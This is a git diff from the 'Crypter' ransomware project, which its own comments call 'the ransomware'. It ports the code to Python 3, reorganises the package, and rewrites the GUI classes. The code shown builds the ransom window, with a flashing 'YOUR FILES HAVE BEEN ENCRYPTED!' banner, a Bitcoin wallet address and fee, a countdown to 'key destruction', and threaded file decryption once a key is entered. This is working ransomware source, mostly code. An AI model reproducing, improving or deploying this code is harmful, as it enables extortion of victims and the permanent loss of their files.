self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetLabelText( + self.GUI_ENCRYPTED_FILES_DIALOG_NO_FILES_FOUND[self.LANG]) + + self.encrypted_files_dialog.Show() + + def blink(self, event): + ''' + @summary: Blinks the subheader text + ''' + + # Update the time remaining + time_remaining = self.get_time_remaining() + + # Set message to blank + if self.set_message_to_null and time_remaining: + self.FlashingMessageText.SetLabelText("") + self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) + self.set_message_to_null = False + # Set message to text + elif time_remaining: + self.FlashingMessageText.SetLabelText(self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG]) + self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) + self.set_message_to_null = True + + # If the key has been destroyed, update the menu text + if not time_remaining: + # Cleanup decrypter and change dialog message + self.decrypter.cleanup() + # Update main window + self.key_destruction_timer.Stop() + self.TimeRemainingTime.SetLabelText(self.GUI_LABEL_TEXT_TIME_BLANK[self.LANG]) + self.FlashingMessageText.SetLabelText(self.GUI_LABEL_TEXT_FLASHING_DESTROYED[self.LANG]) + self.FlashingMessageText.SetForegroundColour(wx.Colour(0, 0, 0)) + # Disable decryption button + self.EnterDecryptionKeyButton.Disable() + self.ViewEncryptedFilesButton.Disable() + self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) + else: + self.TimeRemainingTime.SetLabelText(time_remaining) + + def get_time_remaining(self): + ''' + @summary: Method to read the time of encryption and determine the time remaining + before the decryption key is destroyed + @return: time remaining until decryption key is destroyed + ''' + + seconds_elapsed = int(time.time() - int(self.start_time)) + + _time_remaining = int(self.__config["key_destruction_time"]) - seconds_elapsed + if _time_remaining <= 0: + return None + + minutes, seconds = divmod(_time_remaining, 60) + hours, minutes = divmod(minutes, 60) + + return "%02d:%02d:%02d" % (hours, minutes, seconds) + + def update_visuals(self): + ''' + @summary: Method to update the GUI visuals/aesthetics, i.e labels, images etc. + ''' + + # Set Frame Style + style = wx.CAPTION | wx.CLOSE_BOX | wx.MINIMIZE_BOX | wx.SYSTEM_MENU | wx.TAB_TRAVERSAL + if self.__config["make_gui_resizeable"]: + style = style | wx.RESIZE_BORDER + if self.__config["always_on_top"]: + style = style | wx.STAY_ON_TOP + self.SetWindowStyle(style) + + # Background Colour + self.SetBackgroundColour(wx.Colour( + self.__config["background_colour"][0], + self.__config["background_colour"][1], + self.__config["background_colour"][2] + ) + ) + + # Icon + icon = wx.Icon() + icon.CopyFromBitmap(wx.Bitmap( + os.path.join(self.image_path, self.GUI_IMAGE_ICON) + )) + self.SetIcon(icon) + + # Titles + # ======================================================================= + # self.SetTitle(self.GUI_LABEL_TEXT_TITLE[self.LANG] + " v%s.%s" % ( + # self.__config["maj_version"], + # self.__config["min_version"] + # ) + # ) + # self.TitleLabel.SetLabel(self.GUI_LABEL_TEXT_TITLE[self.LANG].upper()) + # self.TitleLabel.SetForegroundColour(wx.Colour( + # self.__config["heading_font_colour"][0], + # self.__config["heading_font_colour"][1], + # self.__config["heading_font_colour"][2], + # ) + # ) + # ======================================================================= + self.SetTitle(self.__config["gui_title"] + " v%s.%s" % ( + self.__config["maj_version"], + self.__config["min_version"] + ) + ) + self.TitleLabel.SetLabel(self.__config["gui_title"]) + + # Set flashing text initial label and Colour + self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG]) + self.__set_as_primary_colour(self.FlashingMessageText) + + # Set Ransom Message + self.RansomMessageText.SetValue(self.__config["ransom_message"]) + + # Set Logo + self.LockBitmap.SetBitmap( + wx.Bitmap( + os.path.join(self.image_path, self.GUI_IMAGE_LOGO), + wx.BITMAP_TYPE_ANY + ) + ) + + # Set Bitcoin Button logo + self.BitcoinButton.SetBitmap( + wx.Bitmap( + os.path.join(self.image_path, self.GUI_IMAGE_BUTTON), + wx.BITMAP_TYPE_ANY + ) + ) + + # Set key destruction label + self.TimeRemainingLabel.SetLabel(self.GUI_LABEL_TEXT_TIME_REMAINING[self.LANG]) + self.__set_as_primary_colour(self.TimeRemainingLabel) + + # Set Wallet Address label + self.WalletAddressLabel.SetLabel(self.GUI_LABEL_TEXT_WALLET_ADDRESS[self.LANG]) + self.__set_as_primary_colour(self.WalletAddressLabel) + + # Set Wallet Address Value + self.WalletAddressString.SetLabel(self.__config["wallet_address"]) + self.__set_as_secondary_colour(self.WalletAddressString) + + # Set Bitcoin Fee label + self.BitcoinFeeLabel.SetLabel(self.GUI_LABEL_TEXT_BITCOIN_FEE[self.LANG]) + self.__set_as_primary_colour(self.BitcoinFeeLabel) + + # Set Bitcoin Fee Value + self.BitcoinFeeString.SetLabel(self.__config["bitcoin_fee"]) + self.__set_as_secondary_colour(self.BitcoinFeeString) + + # Set Timer font colour + self.__set_as_secondary_colour(self.TimeRemainingTime) + + # Set Button Text + self.ViewEncryptedFilesButton.SetLabel(self.GUI_BUTTON_TEXT_VIEW_ENCRYPTED_FILES[self.LANG]) + self.EnterDecryptionKeyButton.SetLabel(self.GUI_BUTTON_TEXT_ENTER_DECRYPTION_KEY[self.LANG]) + + def __set_as_secondary_colour(self, obj): + ''' + @summary: Sets the objects foreground colour to the secondary colour specified by the config + ''' + + obj.SetForegroundColour(wx.Colour( + self.__config["secondary_font_colour"][0], + self.__config["secondary_font_colour"][1], + self.__config["secondary_font_colour"][2] + ) + ) + + def __set_as_primary_colour(self, obj): + ''' + @summary: Sets the objects foreground colour to the primary colour specified by the config + ''' + + obj.SetForegroundColour(wx.Colour( + self.__config["primary_font_colour"][0], + self.__config["primary_font_colour"][1], + self.__config["primary_font_colour"][2] + ) + ) diff --git a/Crypter/GuiAbsBase.py b/Crypter/Crypter/GuiAbsBase.py similarity index 91% rename from Crypter/GuiAbsBase.py rename to Crypter/Crypter/GuiAbsBase.py index 6a3b916..e233499 100644 --- a/Crypter/GuiAbsBase.py +++ b/Crypter/Crypter/GuiAbsBase.py @@ -1,10 +1,10 @@ -# -*- coding: utf-8 -*- +# -*- coding: utf-8 -*- ########################################################################### -## Python code generated with wxFormBuilder (version Dec 21 2016) +## Python code generated with wxFormBuilder (version Oct 26 2018) ## http://www.wxformbuilder.org/ ## -## PLEASE DO "NOT" EDIT THIS FILE! +## PLEASE DO *NOT* EDIT THIS FILE! ########################################################################### import wx @@ -15,326 +15,336 @@ ########################################################################### class MainFrame ( wx.Frame ): - + def __init__( self, parent ): wx.Frame.__init__ ( self, parent, id = wx.ID_ANY, title = u"Crypter", pos = wx.DefaultPosition, size = wx.Size( 940,800 ), style = wx.CAPTION|wx.CLOSE_BOX|wx.MINIMIZE_BOX|wx.RESIZE_BORDER|wx.SYSTEM_MENU|wx.TAB_TRAVERSAL ) - - self.SetSizeHintsSz( wx.Size( -1,-1 ), wx.Size( -1,-1 ) ) + + self.SetSizeHints( wx.Size( -1,-1 ), wx.Size( -1,-1 ) ) self.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNTEXT ) ) self.SetBackgroundColour( wx.Colour( 177, 7, 14 ) ) - + MainSizer = wx.BoxSizer( wx.VERTICAL ) - + self.HeaderPanel = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) HeaderSizer = wx.BoxSizer( wx.VERTICAL ) - + self.TitleLabel = wx.StaticText( self.HeaderPanel, wx.ID_ANY, u"CRYPTER", wx.DefaultPosition, wx.DefaultSize, 0 ) self.TitleLabel.Wrap( -1 ) + self.TitleLabel.SetFont( wx.Font( 48, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, True, "Courier New" ) ) self.TitleLabel.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNTEXT ) ) - + HeaderSizer.Add( self.TitleLabel, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 10 ) - + self.FlashingMessageText = wx.StaticText( self.HeaderPanel, wx.ID_ANY, u"YOUR FILES HAVE BEEN ENCRYPTED!", wx.DefaultPosition, wx.DefaultSize, 0 ) self.FlashingMessageText.Wrap( -1 ) + self.FlashingMessageText.SetFont( wx.Font( 18, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) self.FlashingMessageText.SetForegroundColour( wx.Colour( 255, 255, 0 ) ) - + HeaderSizer.Add( self.FlashingMessageText, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - - + + self.HeaderPanel.SetSizer( HeaderSizer ) self.HeaderPanel.Layout() HeaderSizer.Fit( self.HeaderPanel ) MainSizer.Add( self.HeaderPanel, 1, wx.ALL|wx.EXPAND, 5 ) - + self.BodyPanel = wx.Panel( self, wx.ID_ANY, wx.Point( -1,-1 ), wx.DefaultSize, wx.TAB_TRAVERSAL ) BodySizer = wx.BoxSizer( wx.VERTICAL ) - + bSizer15 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer17 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer20 = wx.BoxSizer( wx.VERTICAL ) - + self.m_panel81 = wx.Panel( self.BodyPanel, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) bSizer192 = wx.BoxSizer( wx.VERTICAL ) - + self.LockBitmap = wx.StaticBitmap( self.m_panel81, wx.ID_ANY, wx.NullBitmap, wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer192.Add( self.LockBitmap, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 7 ) - - + + self.m_panel81.SetSizer( bSizer192 ) self.m_panel81.Layout() bSizer192.Fit( self.m_panel81 ) bSizer20.Add( self.m_panel81, 0, wx.EXPAND |wx.ALL, 0 ) - - self.m_panel8 = wx.Panel( self.BodyPanel, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.RAISED_BORDER|wx.TAB_TRAVERSAL ) + + self.m_panel8 = wx.Panel( self.BodyPanel, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL|wx.BORDER_RAISED ) bSizer191 = wx.BoxSizer( wx.VERTICAL ) - + self.TimeRemainingLabel = wx.StaticText( self.m_panel8, wx.ID_ANY, u"TIME REMAINING", wx.DefaultPosition, wx.DefaultSize, 0 ) self.TimeRemainingLabel.Wrap( -1 ) + self.TimeRemainingLabel.SetFont( wx.Font( 16, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) self.TimeRemainingLabel.SetForegroundColour( wx.Colour( 255, 255, 0 ) ) - + bSizer191.Add( self.TimeRemainingLabel, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL|wx.ALL, 10 ) - + self.TimeRemainingTime = wx.StaticText( self.m_panel8, wx.ID_ANY, u"00:00:00", wx.DefaultPosition, wx.DefaultSize, 0 ) self.TimeRemainingTime.Wrap( -1 ) + self.TimeRemainingTime.SetFont( wx.Font( 16, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) self.TimeRemainingTime.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNHIGHLIGHT ) ) - + bSizer191.Add( self.TimeRemainingTime, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - - + + self.m_panel8.SetSizer( bSizer191 ) self.m_panel8.Layout() bSizer191.Fit( self.m_panel8 ) bSizer20.Add( self.m_panel8, 0, wx.ALL|wx.EXPAND, 5 ) - - + + bSizer17.Add( bSizer20, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.EXPAND, 5 ) - + bSizer18 = wx.BoxSizer( wx.VERTICAL ) - + self.RansomMessageText = wx.TextCtrl( self.BodyPanel, wx.ID_ANY, u"The important files on your computer have been encrypted with military grade AES-256 bit encryption.\n\nYour documents, videos, images and other forms of data are now inaccessible, and cannot be unlocked without the decryption key. This key is currently being stored on a remote server.\n\nTo acquire this key, transfer the Bitcoin fee to the Bitcoin wallet address before the time runs out.\n\nIf you fail to take action within this time window, the decryption key will be destoyed and access to your files will be permanently lost.\n\nFor more information on what Bitcoin is, and to learn where you can buy Bitcoins, click the Bitcoin button directly below the timer.", wx.DefaultPosition, wx.DefaultSize, wx.TE_MULTILINE|wx.TE_READONLY ) self.RansomMessageText.SetFont( wx.Font( 14, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Courier New" ) ) - + bSizer18.Add( self.RansomMessageText, 3, wx.ALL|wx.EXPAND, 7 ) - - + + bSizer17.Add( bSizer18, 1, wx.EXPAND, 5 ) - - + + bSizer15.Add( bSizer17, 1, 0, 5 ) - - + + BodySizer.Add( bSizer15, 1, wx.EXPAND, 5 ) - - + + self.BodyPanel.SetSizer( BodySizer ) self.BodyPanel.Layout() BodySizer.Fit( self.BodyPanel ) MainSizer.Add( self.BodyPanel, 2, wx.ALL|wx.EXPAND, 20 ) - + self.FooterPanel = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) bSizer181 = wx.BoxSizer( wx.HORIZONTAL ) - + self.m_panel9 = wx.Panel( self.FooterPanel, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) bSizer22 = wx.BoxSizer( wx.VERTICAL ) - - self.BitcoinButton = wx.BitmapButton( self.m_panel9, wx.ID_ANY, wx.NullBitmap, wx.DefaultPosition, wx.DefaultSize, wx.BU_AUTODRAW ) + + self.BitcoinButton = wx.BitmapButton( self.m_panel9, wx.ID_ANY, wx.NullBitmap, wx.DefaultPosition, wx.DefaultSize, wx.BU_AUTODRAW|0 ) bSizer22.Add( self.BitcoinButton, 0, wx.ALIGN_CENTER|wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - - + + self.m_panel9.SetSizer( bSizer22 ) self.m_panel9.Layout() bSizer22.Fit( self.m_panel9 ) bSizer181.Add( self.m_panel9, 1, wx.EXPAND |wx.ALL, 5 ) - + sbSizer2 = wx.StaticBoxSizer( wx.StaticBox( self.FooterPanel, wx.ID_ANY, wx.EmptyString ), wx.VERTICAL ) - + self.m_panel10 = wx.Panel( sbSizer2.GetStaticBox(), wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) bSizer221 = wx.BoxSizer( wx.VERTICAL ) - + bSizer13 = wx.BoxSizer( wx.HORIZONTAL ) - + self.WalletAddressLabel = wx.StaticText( self.m_panel10, wx.ID_ANY, u"WALLET ADDRESS:", wx.DefaultPosition, wx.DefaultSize, 0 ) self.WalletAddressLabel.Wrap( -1 ) + self.WalletAddressLabel.SetFont( wx.Font( 12, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) self.WalletAddressLabel.SetForegroundColour( wx.Colour( 255, 255, 0 ) ) - + bSizer13.Add( self.WalletAddressLabel, 1, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - + self.WalletAddressString = wx.StaticText( self.m_panel10, wx.ID_ANY, u"1BoatSLRHtKNngkdXEeobR76b53LETtpyT", wx.DefaultPosition, wx.DefaultSize, 0 ) self.WalletAddressString.Wrap( -1 ) + self.WalletAddressString.SetFont( wx.Font( 12, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) self.WalletAddressString.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNHIGHLIGHT ) ) - + bSizer13.Add( self.WalletAddressString, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - - + + bSizer221.Add( bSizer13, 0, wx.EXPAND, 5 ) - + bSizer14 = wx.BoxSizer( wx.HORIZONTAL ) - + self.BitcoinFeeLabel = wx.StaticText( self.m_panel10, wx.ID_ANY, u"BITCOIN FEE", wx.DefaultPosition, wx.DefaultSize, 0 ) self.BitcoinFeeLabel.Wrap( -1 ) + self.BitcoinFeeLabel.SetFont( wx.Font( 12, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) self.BitcoinFeeLabel.SetForegroundColour( wx.Colour( 255, 255, 0 ) ) - + bSizer14.Add( self.BitcoinFeeLabel, 1, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - + self.BitcoinFeeString = wx.StaticText( self.m_panel10, wx.ID_ANY, u"1.50", wx.DefaultPosition, wx.DefaultSize, 0 ) self.BitcoinFeeString.Wrap( -1 ) + self.BitcoinFeeString.SetFont( wx.Font( 12, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) self.BitcoinFeeString.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNHIGHLIGHT ) ) - + bSizer14.Add( self.BitcoinFeeString, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - - + + bSizer221.Add( bSizer14, 0, wx.EXPAND, 5 ) - + bSizer19 = wx.BoxSizer( wx.HORIZONTAL ) - - bSizer19.SetMinSize( wx.Size( -1,40 ) ) - - bSizer19.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - - - bSizer19.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + bSizer19.SetMinSize( wx.Size( -1,40 ) ) + + bSizer19.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + + + bSizer19.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.ViewEncryptedFilesButton = wx.Button( self.m_panel10, wx.ID_ANY, u"View Encrypted Files", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer19.Add( self.ViewEncryptedFilesButton, 1, wx.ALL|wx.EXPAND, 5 ) - + self.EnterDecryptionKeyButton = wx.Button( self.m_panel10, wx.ID_ANY, u"Enter Decryption Key", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer19.Add( self.EnterDecryptionKeyButton, 1, wx.ALL|wx.EXPAND, 5 ) - - + + bSizer221.Add( bSizer19, 2, wx.ALIGN_RIGHT|wx.EXPAND, 5 ) - - + + self.m_panel10.SetSizer( bSizer221 ) self.m_panel10.Layout() bSizer221.Fit( self.m_panel10 ) sbSizer2.Add( self.m_panel10, 1, wx.ALL|wx.EXPAND, 5 ) - - + + bSizer181.Add( sbSizer2, 3, wx.EXPAND, 5 ) - - + + self.FooterPanel.SetSizer( bSizer181 ) self.FooterPanel.Layout() bSizer181.Fit( self.FooterPanel ) MainSizer.Add( self.FooterPanel, 1, wx.ALL|wx.EXPAND, 20 ) - - + + self.SetSizer( MainSizer ) self.Layout() - + self.Centre( wx.BOTH ) - + def __del__( self ): pass - + ########################################################################### ## Class ViewEncryptedFilesDialog ########################################################################### class ViewEncryptedFilesDialog ( wx.Frame ): - + def __init__( self, parent ): wx.Frame.__init__ ( self, parent, id = wx.ID_ANY, title = u"Encrypted Files", pos = wx.DefaultPosition, size = wx.Size( 600,400 ), style = wx.DEFAULT_FRAME_STYLE|wx.TAB_TRAVERSAL ) - - self.SetSizeHintsSz( wx.DefaultSize, wx.DefaultSize ) - + + self.SetSizeHints( wx.DefaultSize, wx.DefaultSize ) + BodySizer = wx.BoxSizer( wx.VERTICAL ) - + self.m_panel4 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) TextCtrlSizer = wx.BoxSizer( wx.VERTICAL ) - + self.EncryptedFilesTextCtrl = wx.TextCtrl( self.m_panel4, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, wx.TE_DONTWRAP|wx.TE_MULTILINE|wx.TE_READONLY ) TextCtrlSizer.Add( self.EncryptedFilesTextCtrl, 1, wx.ALL|wx.EXPAND, 5 ) - - + + self.m_panel4.SetSizer( TextCtrlSizer ) self.m_panel4.Layout() TextCtrlSizer.Fit( self.m_panel4 ) BodySizer.Add( self.m_panel4, 1, wx.EXPAND |wx.ALL, 5 ) - - + + self.SetSizer( BodySizer ) self.Layout() - + self.Centre( wx.BOTH ) - + def __del__( self ): pass - + ########################################################################### ## Class EnterDecryptionKeyDialog ########################################################################### class EnterDecryptionKeyDialog ( wx.Dialog ): - + def __init__( self, parent ): wx.Dialog.__init__ ( self, parent, id = wx.ID_ANY, title = u"Decrypt Files", pos = wx.DefaultPosition, size = wx.Size( 500,200 ), style = wx.DEFAULT_DIALOG_STYLE ) - - self.SetSizeHintsSz( wx.DefaultSize, wx.DefaultSize ) - + + self.SetSizeHints( wx.DefaultSize, wx.DefaultSize ) + bSizer12 = wx.BoxSizer( wx.VERTICAL ) - + self.m_panel6 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) MainSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_panel6, wx.ID_ANY, u"AES Decryption Key" ), wx.VERTICAL ) - - - MainSizer.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - - - MainSizer.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + MainSizer.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + + + MainSizer.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + bSizer13 = wx.BoxSizer( wx.HORIZONTAL ) - - - bSizer13.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer13.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.DecryptionKeyTextCtrl = wx.TextCtrl( MainSizer.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size( 220,-1 ), 0 ) - self.DecryptionKeyTextCtrl.SetMaxLength( 32 ) + self.DecryptionKeyTextCtrl.SetMaxLength( 32 ) bSizer13.Add( self.DecryptionKeyTextCtrl, 0, wx.ALL, 5 ) - - - bSizer13.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - - + + + bSizer13.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + + MainSizer.Add( bSizer13, 1, wx.EXPAND, 5 ) - - - MainSizer.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + MainSizer.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + OkCancelSizer = wx.StdDialogButtonSizer() self.OkCancelSizerOK = wx.Button( MainSizer.GetStaticBox(), wx.ID_OK ) OkCancelSizer.AddButton( self.OkCancelSizerOK ) self.OkCancelSizerCancel = wx.Button( MainSizer.GetStaticBox(), wx.ID_CANCEL ) OkCancelSizer.AddButton( self.OkCancelSizerCancel ) OkCancelSizer.Realize(); - + MainSizer.Add( OkCancelSizer, 1, wx.EXPAND, 5 ) - + self.StatusText = wx.StaticText( MainSizer.GetStaticBox(), wx.ID_ANY, u"Waiting for input", wx.DefaultPosition, wx.DefaultSize, 0 ) self.StatusText.Wrap( -1 ) + MainSizer.Add( self.StatusText, 0, wx.ALL, 5 ) - + bSizer121 = wx.BoxSizer( wx.HORIZONTAL ) - + self.DecryptionGauge = wx.Gauge( MainSizer.GetStaticBox(), wx.ID_ANY, 100, wx.DefaultPosition, wx.DefaultSize, wx.GA_HORIZONTAL ) - self.DecryptionGauge.SetValue( 0 ) + self.DecryptionGauge.SetValue( 0 ) bSizer121.Add( self.DecryptionGauge, 0, wx.ALL, 5 ) - - - bSizer121.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer121.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.EncryptedFilesNumberLabel = wx.StaticText( MainSizer.GetStaticBox(), wx.ID_ANY, u"Encrypted Files: 0", wx.DefaultPosition, wx.DefaultSize, 0 ) self.EncryptedFilesNumberLabel.Wrap( -1 ) + bSizer121.Add( self.EncryptedFilesNumberLabel, 0, wx.ALL, 5 ) - - + + MainSizer.Add( bSizer121, 1, wx.EXPAND, 5 ) - - + + self.m_panel6.SetSizer( MainSizer ) self.m_panel6.Layout() MainSizer.Fit( self.m_panel6 ) bSizer12.Add( self.m_panel6, 1, wx.EXPAND |wx.ALL, 5 ) - - + + self.SetSizer( bSizer12 ) self.Layout() - + self.Centre( wx.BOTH ) - + def __del__( self ): pass - + diff --git a/Crypter/ScheduledTask.py b/Crypter/Crypter/ScheduledTask.py similarity index 100% rename from Crypter/ScheduledTask.py rename to Crypter/Crypter/ScheduledTask.py diff --git a/Crypter/TaskManager.py b/Crypter/Crypter/TaskManager.py similarity index 99% rename from Crypter/TaskManager.py rename to Crypter/Crypter/TaskManager.py index f55de43..38e4282 100644 --- a/Crypter/TaskManager.py +++ b/Crypter/Crypter/TaskManager.py @@ -4,7 +4,7 @@ ''' # Import libs -import _winreg +import winreg class TaskManager(object): diff --git a/Crypter/Crypter/__init__.py b/Crypter/Crypter/__init__.py new file mode 100644 index 0000000..b73c668 --- /dev/null +++ b/Crypter/Crypter/__init__.py @@ -0,0 +1,7 @@ +''' +Crypter Package +@author: Sithis +''' + +from .Crypter import Crypter +from . import Mutex \ No newline at end of file diff --git a/Crypter/Gui.py b/Crypter/Gui.py deleted file mode 100644 index 404a49a..0000000 --- a/Crypter/Gui.py +++ /dev/null @@ -1,507 +0,0 @@ -"""Subclass of MainFrame, which is generated by wxFormBuilder.""" -''' -@summary: Crypter: GUI Class -@author: MLS -''' - -# Import libs -import wx -import os -import time -import webbrowser - -# Threading imports -from threading import Thread, Event -from wx.lib.pubsub import setuparg1 -from wx.lib.pubsub import pub as Publisher - -# Import Classes -import Base -from GuiAbsBase import MainFrame -from GuiAbsBase import ViewEncryptedFilesDialog -from GuiAbsBase import EnterDecryptionKeyDialog - - -############################ -## DECRYPTIONTHREAD CLASS ## -############################ -class DecryptionThread(Thread): - ''' - @summary: Provides a thread for file decryption - ''' - - def __init__(self, encrypted_files_list, decrypted_files_list, parent, - decrypter, decryption_key): - ''' - @summary: Constructor: Starts the thread - @param encrypted_files_list: The list of encrypted files - @param decrypted_files_list: The list of files that were decrypted, but have now been decrypted - @param parent: Handle to the GUI parent object - @param decrypter: Handle to the decrypter (Main object) - @param decryption_key: AES 256 bit decryption key to be used for file decryption - ''' - self.parent = parent - self.encrypted_files_list = encrypted_files_list - self.decrypted_files_list = decrypted_files_list - self.decrypter = decrypter - self.decryption_key = decryption_key - self.in_progress = False - self.decryption_complete = False - self._stop_event = Event() - - # Start thread - Thread.__init__(self) - self.start() - - - def run(self): - ''' - @summary: Performs decryption of the encrypted files - ''' - self.in_progress = True - time.sleep(0.5) - - # Iterate encrypted files - for i in range(len(self.encrypted_files_list)): - - # Check for thread termination signal and break if set - if self._stop_event.is_set(): - break - else: - # Decrypt file and add to list of decrypted files. Update progress - self.decrypter.decrypt_file(self.encrypted_files_list[i], self.decryption_key) - self.decrypted_files_list.append(self.encrypted_files_list[i]) - Publisher.sendMessage("update", "") - - - # Encryption stopped or finished - self.in_progress = False - - # Check if decryption was completed - if len(self.decrypted_files_list) == len(self.encrypted_files_list): - self.decryption_complete = True - - # Run a final progress update - Publisher.sendMessage("update", "") - - # Remove decrypted files from the list of encrypted files - # Update the GUIs encrypted and decrypted file lists - for file in self.decrypted_files_list: - if file in self.encrypted_files_list: - self.encrypted_files_list.remove(file) - - # Make sure GUI file lists are up-to-date - self.parent.decrypted_files_list = [] - self.parent.encrypted_files_list = self.encrypted_files_list - - # If forcefully stopped, close the dialog - if self._stop_event.is_set(): - self.parent.decryption_dialog.Destroy() - - - def stop(self): - ''' - @summary: To be called to set the stop event and terminate the thread after the next cycle - ''' - - # If complete or not in progress, and event is already set, close forcefully - if self.decryption_complete or not self.in_progress: - self.parent.decryption_dialog.Destroy() - # Otherwise, only set signal - else: - self._stop_event.set() - - -############### -## GUI CLASS ## -############### -class Gui( MainFrame, ViewEncryptedFilesDialog, EnterDecryptionKeyDialog, Base.Base): - ''' - @summary: Main GUI class. Inherits from GuiAbsBase and defines Crypter specific functions, - labels, text, buttons, images etc. Also inherits from main Base for schema - ''' - - def __init__( self, image_path, start_time, decrypter, config): - ''' - @summary: Constructor - @param image_path: The path to look at to find resources, such as images. - @param start_time: EPOCH time that the encryption finished. - @param decrypter: Handle back to Main. For calling decryption method - @param config: The ransomware's runtime config dict - ''' - # Handle Params - self.image_path = image_path - self.start_time = start_time - self.decrypter = decrypter - self.__config = config - self.decryption_thread = None - self.decryption_dialog = None - self.encrypted_files_list = self.decrypter.get_encrypted_files_list() - self.decrypted_files_list = [] - - # Define other vars - self.set_message_to_null = True - - # Super - MainFrame.__init__( self, parent=None ) - - # Update GUI visuals - self.update_visuals() - - # Update events - self.set_events() - - # Create pubsub listener to update the decryption progress - Publisher.subscribe(self.update_decryption_progress, "update") - - - def update_decryption_progress(self, msg): - ''' - @summary: Updates the decryption progress in the GUI - ''' - - # Calculate percentage completion - if len(self.encrypted_files_list) == 0: - percentage_completion = 100 - else: - percentage_completion = float(len(self.decrypted_files_list)) * 100.0 / float(len(self.encrypted_files_list)) - - # Update number of encrypted files remaining - if not self.decryption_thread.decryption_complete: - encrypted_files_remaining = len(self.encrypted_files_list) - len(self.decrypted_files_list) - else: - encrypted_files_remaining = 0 - - # Set encrypted files number in GUI - self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText( - "Encrypted Files: %s" % encrypted_files_remaining) - - # Update Decryption percentage completion - if percentage_completion != 100: - self.decryption_dialog.StatusText.SetLabelText( - self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING[self.LANG] + " (%d%%)" % percentage_completion - ) - else: - 